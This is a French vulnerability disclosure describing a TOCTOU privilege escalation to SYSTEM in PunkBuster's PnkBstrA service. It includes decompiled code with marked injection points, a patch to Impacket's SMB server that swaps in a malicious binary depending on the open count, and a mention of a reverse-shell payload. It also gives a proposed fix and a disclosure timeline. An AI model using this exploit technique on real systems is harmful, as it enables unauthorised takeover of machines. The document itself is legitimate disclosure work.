
PunkBuster LPI vers NT AUTHORITY\SYSTEM

PunkBuster s'installe sous la forme de deux services, et d'un pilote noyau optionnel.
PnkBstrA : Service qui s'exécute en permanence en arrière-plan et qui est chargé de gérer PunkBuster dans son ensemblePnkBstrB : Service qui démarre lorsqu'un jeu protégé démarre. Il offre plus de fonctionnalités que son homologue A.Les deux services sont structurés de manière similaire, écoutant l'UDP sur localhost sur un port de la plage [44301, 44400].
Une fois qu'un port est trouvé, il est écrit dans la valeur Port de HKLM:\SOFTWARE\Even Balance\PnkBstrA ou HKLM:\SOFTWARE\WOW6432Node\Even Balance\PnkBstrA.
Chaque requête est stockée dans un tampon global de 1500 octets (cependant, seuls 1499 octets sont reçus pour un terminateur NUL).
Il n'existe pas de structure standard pour les données de requête, mais voici leur structure habituelle :
Les types de requêtes dans PnkBstrA sont les suivants :
l : Load (Chargement) : Démarre et met à jour PnkBstrB
PnkBstrB mis à jouru : Unload (Déchargement) : Arrête PnkBstrBv : Version : Retourne simplement la versionm : Monitor (Surveillance) : Prend un PID et détermine si la DLL cliente PunkBuster (pbcl.dll) est dans le processus, en vidant sa mémoire si c'est le cas.Le gestionnaire de chargement (l) contient une vulnérabilité de type TOCTOU, conduisant à une élévation de privilèges locale en NT AUTHORITY\SYSTEM.
Le flux du gestionnaire ressemble à ceci :
PnkBstrBEven Balance, Inc.C:\Windows\SysWOW64\PnkBstrB.exe ou C:\Windows\System32\PnkBstrB.exe, selon la plateformePnkBstrB s'exécutant en tant que LocalSystem avec le fichier nouvellement copié.Le problème ici est que le fichier manipulé par PnkBstrA est rouvert de nombreuses fois pour chaque opération, ce qui conduit à une situation où un attaquant pourrait modifier le fichier entre les opérations.
Cela peut conduire à un problème où, après que le fichier a été validé pour son certificat, il est remplacé et un fichier malveillant finit comme exécutable du service PnkBstrB. Cet exécutable permettrait à un utilisateur non privilégié d'élever ses privilèges à NT AUTHORITY\SYSTEM.
La décompilation pertinente est présentée ici :
int startPnkB(char *updateFileName) {
...
// Calculate first MD5
firstMd5Fp = fopen(updateFileName, "r+b");
strcpy(firstMd5, "1");
if ( firstMd5Fp )
computeMD5(updateFileName, firstMd5);
nowMs = GetTickCount();
busyWaitExpiration = rand() % 800 + 300;
while ( (int)(GetTickCount() - nowMs) <= busyWaitExpiration )
;
fclose(firstMd5Fp);
// INJECTION POINT 1
// Check certificate
certificateFilePointer = fopen(updateFileName, "rb"); // Must succeed, or else check futher down will fail
if ( g_Warnings >= 3 )
{
log(1, "Too many failed certificate verifications (%s); Load denied.", updateFileName);
LABEL_49:
if ( certificateFilePointer )
fclose(certificateFilePointer);
return 0;
}
if ( !checkValidCertificate(updateFileName) )
{
CloseServiceHandle(hSCManager);
log(1, "%s does not contain a valid certificate; Load denied.", updateFileName);
goto LABEL_49;
}
// Build path to copy to
GetSystemDirectoryA(g_SystemDirectory, 246u);
if ( g_SystemDirectory[0] && g_SystemDirectory[strlen(g_SystemDirectory) - 1] != 92 )
strncat(g_SystemDirectory, 260, "\\");
strncat(g_SystemDirectory, 260, "PnkBstrB.exe");
_chmod(g_SystemDirectory, 0600);
strcpy(Str, g_SystemDirectory);
...
// INJECTION POINT 2
Sleep(750u);
if ( !CopyFileA(updateFileName, g_SystemDirectory, 0) )
{
Sleep(750u);
for ( startTimea = 1; startTimea > 0; --startTimea )
{
Sleep(750u);
if ( CopyFileA(updateFileName, g_SystemDirectory, 0) )
break;
}
if ( startTimea < 1 )
{
LastError = GetLastError();
log(1, "Copy from [%s] to [%s] failed; Load denied. (%lu)", updateFileName, g_SystemDirectory, LastError);
fclose(certificateFilePointer);
return 0;
}
}
// Make sure we previously opened the file
v9 = certificateFilePointer;
if ( certificateFilePointer )
{
fclose(certificateFilePointer);
v9 = fopen(g_SystemDirectory, "rb");
}
// Second MD5
strcpy(newMd5, "2");
if ( v9 )
computeMD5(g_SystemDirectory, newMd5);
if ( memcmp(firstMd5, newMd5, 0x10u) )
{
CloseServiceHandle(hSCManager);
log(1, "%s does not match %s; Load denied.", g_SystemDirectory, updateFileName);
LABEL_41:
if ( v9 )
fclose(v9);
return 0;
}
ServiceA = CreateServiceA(
hSCManager,
"PnkBstrB",
"PnkBstrB",
0xF01FFu,
0x10u,
2u,
1u,
g_SystemDirectory,
0,
0,
0,
0,
0);
...
}
Un correctif simple consisterait à copier d'abord le fichier vers un emplacement sûr mais temporaire (c.-à-d. PnkBstrB.exe.tmp), puis à calculer le MD5 et les vérifications à partir de cet emplacement. Ainsi, le fichier ne serait pas modifiable par un acteur malveillant. Cela garantirait également qu'une seule copie du fichier est ouverte, ce qui empêche l'exploitation SMB.
Un scénario d'attaque pourrait consister à fournir un fichier malveillant, attendre que le MD5 soit calculé, remplacer le fichier par le PnkBstrB.exe d'origine afin que les vérifications WinVerifyTrust et de certificat passent, puis le remplacer à nouveau par le fichier malveillant, pour que le second MD5 passe et que le fichier soit copié et exécuté.
Cependant, ce scénario est très difficile à exécuter, car remplacer le fichier est difficile, et le modifier pendant qu'il est ouvert par PnkBstrA ne semble pas appliquer les modifications.
Cela est dû au fait qu'il est difficile de programmer notre code dans le INJECTION POINT 1 comme vu dans le code. C'est probablement possible en utilisant de nombreux threads à priorité temporelle critique, dont certains tentent constamment de remplacer le fichier, et d'autres bloquent les cœurs concurrents dans des attentes actives.
Une autre approche consisterait à tenter d'obtenir une collision MD5 entre PnkBstrB et le fichier malveillant. Cela fonctionnerait en utilisant d'abord le fichier légitime comme candidat pour le premier MD5 et en le soumettant à la vérification du certificat. Cependant, après cela, nous disposons d'une belle fenêtre de 750 millisecondes ou plus pour remplacer le fichier par le nôtre. Ensuite, le second MD5 passerait et notre fichier serait injecté. Cependant, pendant le développement, j'étais trop paresseux pour attendre la génération d'une collision, j'ai donc opté pour une autre approche.
Ce code dépend de Windows et utilise fopen, qui correspond aux fonctions d'E/S propres à Windows. Par définition, cela signifierait que les partages SMB seraient accessibles. De plus, MSDN mentionne que ce comportement est pris en charge :
fopenaccepte les chemins UNC et les chemins impliquant des lecteurs réseau mappés tant que le système qui exécute le code a accès au partage ou au lecteur mappé au moment de l'exécution
Cela signifie que nous pourrions utiliser notre première approche, mais comme le code dépendrait de notre partage SMB, nous envoyons différents fichiers selon le nombre de fois où le fichier a été demandé.
En modifiant le smbserver d'Impacket, il est possible d'obtenir ce comportement.
Le fichier .patch complet se trouve ici. Les modifications clés sont :
@staticmethod
def smb2Create(connId, smbServer, recvPacket):
...
if not hasattr(smbServer, '_hist'):
smbServer._hist = {}
if pathName.endswith('.exe'):
if pathName not in smbServer._hist.keys():
smbServer._hist[pathName] = 0
smbServer._hist[pathName] += 1
if smbServer._hist[pathName] == 1 or smbServer._hist[pathName] >= 8:
pathName = './PwnBstr.exe'
else:
pathName = './PnkBstrB.exe'
Comme vous pouvez le voir, si c'est la première fois que nous ouvrons le fichier (premier MD5) ou au moins la huitième fois (copie du fichier et au-delà), nous envoyons au client le fichier malveillant, tout en envoyant le fichier d'origine dans les autres cas.
Le code du fichier malveillant se trouve ici ; il s'agit d'un simple service « hello world » avec un reverse shell.
https://github.com/user-attachments/assets/0a53c822-6ff5-494e-a5eb-55673a5cc220
EvenBalance a été contacté à plusieurs reprises depuis le 2025-02-15 par différentes méthodes, mais n'a pas répondu.
Ce problème a été entièrement divulgué le 2025-05-10.